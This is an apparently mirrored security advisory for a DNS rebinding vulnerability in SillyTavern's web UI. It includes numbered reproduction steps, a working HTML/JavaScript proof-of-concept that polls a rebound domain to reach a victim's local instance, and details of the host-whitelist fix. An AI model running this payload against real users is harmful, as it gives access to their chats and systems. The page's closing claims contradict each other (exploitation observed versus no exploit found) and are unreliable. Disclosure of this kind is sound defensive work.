Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-7cxj-w27x-x78q
No affected components available
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard